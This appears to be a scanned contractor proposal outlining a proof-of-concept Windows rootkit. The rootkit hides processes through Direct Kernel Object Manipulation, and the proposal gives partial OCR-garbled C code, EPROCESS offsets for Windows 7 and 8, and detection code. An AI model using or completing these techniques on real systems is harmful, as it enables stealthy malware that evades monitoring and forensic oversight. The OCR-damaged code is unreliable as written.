UNCLASSIFIED

Raytheon
Blackbird Technologies

Direct Kernel Object Manipulasiton (DKOM)
Proof-of-Concept (PoC) Outline

For
SIRIUS Task Order PIQUE

Submitted to:

U.S. Government

Submitted by:

Raytheon Blackbird Technologies, Inc.
13900 Lincoln Park Drive

Suite 400

Herndon, VA 20171

21 November 2014

This document includes data that shall not be disclosed outside the Government and shall not be duplicated, used,
or disclosed—in whole or in part—for any purpose other than to evaluate this concept. If, however, a contract is
awarded to Blackbird as a result of—or in connection with—the submission of these data, the Government shall
have the right to duplicate, use, or disclose the data to the extent provided in the resulting contract. This restriction
does not limit the Government’s right to use information contained in these data if they are obtained from another
source without restriction.

This document contains commercial or financial information, or trade secrets, of Raytheon Blackbird Technologies,
Inc. that are confidential and exempt from disclosure to the public under the Freedom of Information Act, 5 U.S.C.
552(b)(4), and unlawful disclosure thereof is a violation of the Trade Secrets Act, 18 U.S.C. 1905. Public disclosure
of any such information or trade secrets shall not be made without the prior written permission of Raytheon
Blackbird Technologies, Inc.

UNCLASSIFIED



Raytheon

Blackbird Technologies
UNCLASSIFIED

Pique PoC Outline
Direct Kernel Object Manipulation (DKOM)

(U) Table of Contents

(U) Executive SUMMaArY....cciiirieciiiimmnsnssssssssnnssssssssssnnsnsssssnnnnsss 3
(U) Description of the PoC Coding Approach........ccceccciiivnncnnnnn 3
(U) CoNCIUSION...ciiiiirnessssssssnsssssssnsssssssssssnssssnssnssnsnnssnssnssnsnnnnns 3

(U) List of Figures

(U) List of Tables

Raytheon Blackbird Technologies, Inc.
2
21 November 2014
Use or disclosure of data contained on this sheet is subject to the restrictions on the title page of this document.

UNCLASSIFIED



Raytheon

Blackbird Technologies
UNCLASSIFIED

Pique PoC Outline
Direct Kernel Object Manipulation (DKOM)

(U) Executive Summary

(U) Direct Kernel Object Manipulation (DKOM) is a rootkit technique for hiding processes,
drivers, and files from the system task manager and event scheduler. Process hiding via DKOM
is accomplished by modifying the doubly linked list of active threads and processes so that
forward and backward pointers (FLINK and BLINK) of items adjacent to the process so that
they “point around” the process to be hidden. The task manager and event scheduler use
EPROCESS, which relies on enumeration of the FLINKs and BLINKSs to identify running
processes, and if the FLINKs and BLINKSs are modified processes become “hidden” from the
task manager and event scheduler in Figure 1.
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Figure 1. (U) Hiding a Process by Modifying FLINK and BLINK

(U) There are two methods of performing DKOM:

Process A

Load a kernel driver

Use the ZwSystemDebugControl() application programming interface (API) from user-mode
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(U) Naturally, the preferred approach to a DKOM PoC is via user-mode API calls to
ZwSystemDebugControl() as it obviates the need to install drivers on target.

(U) Description of the PoC Coding Approach

(U) We will write the DKOM PoC in C++ using Visual Studio 2013 using standard Microsoft
Windows APIs and libraries. We will write a user-mode application that will perform the
following:

Call SeDebugPrivilege() to enable calls to ZwSystemDebugControl()

Locate the base address of the kernel module via
ZwQuerySystemInformation(SystemModuleInformation) similar to the proof-of-concept (PoC)
code listed in Figure 2.
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EVOID

KernelGetModuleBase (
PCHAR pModuleName
)

PVOID pMcduleBase = NULL;
PULONG pSystemInfoBuffer = NULL;

__try

NTSTATUS status = STATUS_INSUFFICIENT RESOURCES:
ULONG SystemInfoBufferSize = 0;

3 = ZwQuerySystemInformation(SystemModulelIn
&SystemInfoBufferSize,

&SystemInfoBufferSize);

if (!SystemInfoBufferSize)
return NULL;

pSystemInfoBuffer = (PULONG)ExAllocatePecol (NonPa¢

if (!pSystemInfoBuffer)
return NULL;

memset (pSystemInfoBuffer, 0, SystemInfoBufferSiz

status = ZwQuerySystemInformation(SystemModulelIn
pSystemInfoBuffer,
SystemInfoBufferSize*2,
&SystemInfoBufferSize);

if (NT_SUCCESS(status))
{
PSYSTEM MODULE_ENTRY pSysModuleEntry =
( (PSYSTEM MODULE_INFORMATION) (pSystemInfi
ULONG 1i;
for (i = 0; i <((PSYSTEM MODULE_ INFORMATION)
{
if (_stricmp(pSysModuleEntry[i].ModuleNa:
pSysModuleEntry[i] .ModuleNa:
{
pMcoduleBase = pSysModuleEntry{i].Mod
break;

}
__except (EXCEPTION_EXECUTE HANDLER)
pModuleBase = NULL;
}
if (pSystemInfoBuffer) {
ExFreePool (pSystemInfoBuffer);
}

return pModuleBase;
} // end KernelGetModuleBase ()

UNCLASSIFIED
Figure 2. (U) Locate Base Address of the Kernel Module

Find PsInitial SystemProcess

Walk the linked list of Executive Process (_EPROCESS) objects until it finds a process ID (PID)
matching the process to hide, which will be obtained via GetCurrentProcessId(). We will use the

appropriate offset in the _EPROCESS structure for the ActiveProcessLinks substructure to locate
the FLINK and BLINK. For example, the offset to the ActiveProcessLinks for Windows 7 32-bit
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and Windows 8 64-bit are in Table 1 and shown in the Windows windbg screen capture in
Figures 3 and 4.
Table 1. (V) Offsets to ActiveProcessLinks

Windows 7 32-bit 0x0b8
Windows 8 64-bit 0x2e8
UNCLASSIFIED
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fHEBEE [0 DPREEDREEOCOE|E)S] A E
C - Kernel ‘com:pip 0,reconnect,port=\\.\pipe\kd_sans760_win7_x86' - WinDbg:6.2.9200.16384 X86 BIE
+0=000 MultipleShared : Pos 3, 1 Bit -
+0x000 Shared : Pos 4, 28 Bits
+0=000 Value : Uint4B
+0x000 Ptr : Ptr32 Void
+0x0a0 CreateTine : _LARGE_INTEGER Ll
+0=000 LowPart : Uint4B |8
+0x004 HighPart : Int4B
+0=000 u : <unnamed-tag>
+0x000 LowPart : Uintd4B
+0=004 HighPart : IntdB
+0=000 QuadPart : Int8B
+0x0a8 ExitTime : _LARGE_INTEGER
+0x000 LowPart : Uintd4B
+0=004 HighPart : IntdB
+0=x000 u : <unnamed-tag>
+0x000 LowPart : Uint4B
+0=004 HighPart : Int4B
+0=000 QuadPart : Int8B
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0=000 Count : Uint4B
+0x000 Ptr : Ptr32 Void
4 _TIni P. Id__. Ptr32 ¥oid
+0=20b8 ActiveProcessLinks : _LIST_ENTRY
+0=000 Flink : Ptr32 _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
{0)) () 4 T 12T UIntIE
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0=20d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+02000 ListEntry : _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink Ptr32 _LIST_ENTRY
+02008 SessionId ¢ Uint4B
+0=x00c CpuSharelVeight : UintdB
+0x010 CapturedWeightData : _PSP_CPU_SHARE_CAPTURED WEIGHT_DATA
+0=000 CapturedCpuShareWeight : Uint4B
+0=004 CapturedTotalWeight : Uint4B
+02000 CombinedData : Int8B
+02018 DuplicateInputMarker : Pos 0, 1 Bit -

Ln29,Col4 Sys0:KdSn:S Proc000:0 Thrd001:0 ASM OVR CAPS NUM
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Figure 3. (U) Windows 7 32-bit - Offset to ActiveProcessLinks
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File Edit View Debug Window Help
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:TPtr6d _LIST_ENTRY
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. Ptr64 _LIST_ENTRY
. Ptr64 _LIST_ENTRY
: Ptr64 _LIST_ENTRY
. Ptré4 _LIST_ENTRY

+0x2f8 AccountingFolded :

+022f8 LastReportMemory :
+022f8 NoWakeCharge

+0x2f8 RefTraceEnabled
+0x2f8 Numadware

+022f8 NewProcessReported :
+0x2f8 ExitProcessReported : Pos 3, 1 Bit
+0x2f8 ReportCommitChanges : Pos 4, 1 Bit

FURZY G Flag: T UINt4b
+0x2f8 JobNotReallyictive

Pos 0, 1 Bit
Pos 1. 1 Bit
Pos 2, 1 Bit

Pos 5. 1 Bit

: Pos 6, 1 Bit
+0x2f8 HandleTableRundown :
+0x2£8 NeedsHandleRundown :

Pos 7. 1 Bit
Pos 8, 1 Bit

: Pos 9, 1 Bit
: Pos 10, 1 Bit
+022f8 EmptyJobEvaluated :
+0=x2f8 DefaultPagePriority : Pos 12, 3 Bits
+0=x2f8 PrimaryTokenFrozen :
+022f8 ProcessVerifierTarget : Pos 16, 1 Bit

+0x2f8 StackRandomizationDisabled : Pos 17, 1 Bit

Pos 11, 1 Bit
Pos 15, 1 Bit
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+022d0 CreateTime : _LARGE_INTEGER
+0=000 LowPart : Uint4B
+0=004 HighPart : Int4B
+0=000 u : <unnaned-tag>
+0=000 LowPart : Uint4B
+0x004 HighPart : Int4B

kd= dt _eprocess

[2: k> |
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Figure 4.
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(U) Windows 8 64-bit - Offset to ActiveProcessLinks

We will then call WriteKernelMemory(), which is a wrapper function for
ZwSystemDebugControl(), to modify the FLINK and BLINK to effectively hide the target
process.
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(U) We plan to write PoCs for both 32-bit and 64-bit versions of Windows. There are some code
listings in “The Art of Memory Forensics” that were apparently generated by an IDA Pro
examination of a malware sample that implements DKOM to hide itself (Prolaco) and
decompiled with Hex-Rays decompiler. We will take as much as we can from the Prolaco
decompiled code listing in the “Art of Memory Forensics” to enlighten our development of the
PoC.

(U) Conclusion

(U) The DKOM PoC appears to be straightforward and presents low to moderate risk due to
complexity. This PoC should provide an effective and robust process hiding capability. However,
there are known techniques for discovering this type of DKOM-based hiding method. The code
listing in Figure 5 will detect DKOM-based process hiding.

NTSTATUS

ReadKemelMemory(IN PVOID BaseAddress,
OUT PVOID Buffer,

IN ULONG Length)

{
NTSTATUS Status:
SYSDBG_VIRTUAL DbgMemory:

Setup therequest

DbgMemory.Address = BaseAddress;
DbgMemory.Buffer=Buffer:
DbgMemory.Request=Length:

Do the read

Status =NtSystemDebugControl(SysDbgRead Virtual,
&DbgMemory,

sizeof(DbgMemory).

NULL,

0,

NULL):

return Status;

1

J
PCHAR
FindDriverForAddress(IN PVOID Pointer)

{

NTSTATUS Status:

PRTL_PROCESS_MODULES Modulelnfo;
PRTL_PROCESS_MODULE_INFORMATION ModuleEntry:
ULONG ReturnedLength;

ULONG i

Figure out how muchsize we need

Status = NtQuerySystemInformation(SystemModuleInformation,
NULL,

0.

&RetumnedLength);

if (Status !=STATUS_INFO_LENGTH_MISMATCH) returnNULL:
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// Allocate a buffer large enough

ModuleInfo=RtlAllocateHeap(RtlGetProcessHeap(), 0, ReturnedLength);
if ('ModuleInfo) returnNULL;

/ Now query the data again

Status = NtQuerySystemInformation(SystemModuleInformation,
Modulelnfo.

RetumnedLength,

&ReturnedLength):

if ('NT_SUCCESS(Status)) retum NULL:

// Loop all the drivers

for (i= 0; i < ModuleInfo->NumberOfModules; i++)
{

// Get the current entry and checkif the pointer is within it

ModuleEntry = &Modulelnfo->Modulesi];

if (Pointer > ModuleEntry->ImageBase) & &

(Pointer <((PVOID)((ULONG_PTR)ModuleEntry->ImageBase +
ModuleEntry->ImageSize))))

{

/ Found a match, retumit
return ModuleEntry->FullPathName:

}
}

PCHAR
DetectDriver(VOID)

{

BOOLEAN Old:

NTSTATUS Status:

ULONG_PTR MappedAddress:

PVOID KernelBase, TableBase:

UNICODE_STRING KemelName:

ANSI_STRING TableName =RTL_CONSTANT_STRING("KeServiceDescript
RTL_PROCESS_MODULES Modulelnfo;

ULONG Flags:
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KSERVICE_TABLE_DESCRIPTOR ServiceTable:

'/ Give our thread the debug privilege

Status =RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &0ld);
if (INT_SUCCESS(Status)) retum NULL:

// Query the kernel's module entry

Status =NtQuerySystemInformation(SystemModuleInformation,
&Modulelnfo,

sizeof(ModuleInfo),

NULL);

if (Status !=STATUS_INFO_LENGTH MISMATCH) retunNULL;

// Initialize the kernel's full path name
Status =RtlCreateUnicodeStringFromAsciiz(&Kerne[Name,
ModuleInfo.Modules[0]. FullPathName);
if (!Status) returnNULL;
// Keep only the short name
KemelName. Buffer=KemelName Buffer+
(KemelName.Length/ sizeof(WCHAR)) -
12:

Map the kemnel
Flags = IMAGE_FILE_EXECUTABLE_IMAGE:
Status=LdrLoadDII(NULL, &Flags, &KemelName, &KemelBase):
if (INT_SUCCESS(Status)) retum NULL:

Find the address of KeServiceDescriptorTable
Status = LdrGetProcedureAddress(KemnelBase, & TableName, 0, & TableBase);
if ('NT_SUCCESS(Status)) retum NULL:

'/ Unload the kernel image, we're done withit
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Status =LdrUnloadDll(KemelBase):
if (INT_SUCCESS(Status)) retum NULL:

/ Get the virtual address we need
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MappedAddress =(ULONG_PTR)Modulelnfo.Modules[0].ImageBase:
MappedAddress = (ULONG_PTR)KernelBase:
MappedAddress += (ULONG_PTR)TableBase:

// Now read the SSDT

Status =ReadKemelMemory((PVOID)MappedAddress,
&ServiceTable,

sizeof(ServiceTable)):
if ('INT_SUCCESS(Status)) retum NULL:

Setup theargument table

ArgumentTable =RtlAllocateHeap(RtlGetProcessHeap(),

0

ServiceTable.Limit * sizeof(ULONG_PTR)):
if (!ArgumentTable) retum NULL;

Now fill it up

Status =ReadKemelMemory(ServiceTable. Base,
ArgumentTable,
ServiceTable.Limit * sizeof(ULONG_PTR));
if ('NT_SUCCESS(Status)) retum NULL:

/ Now scan it

for (i= 0:1 < ServiceTable.Limit; i++)

{

// Make sure no pointer is outside the kernel area

if (ArgumentTable[i] > 0xSFFFFFFF)
{

Figure 5.
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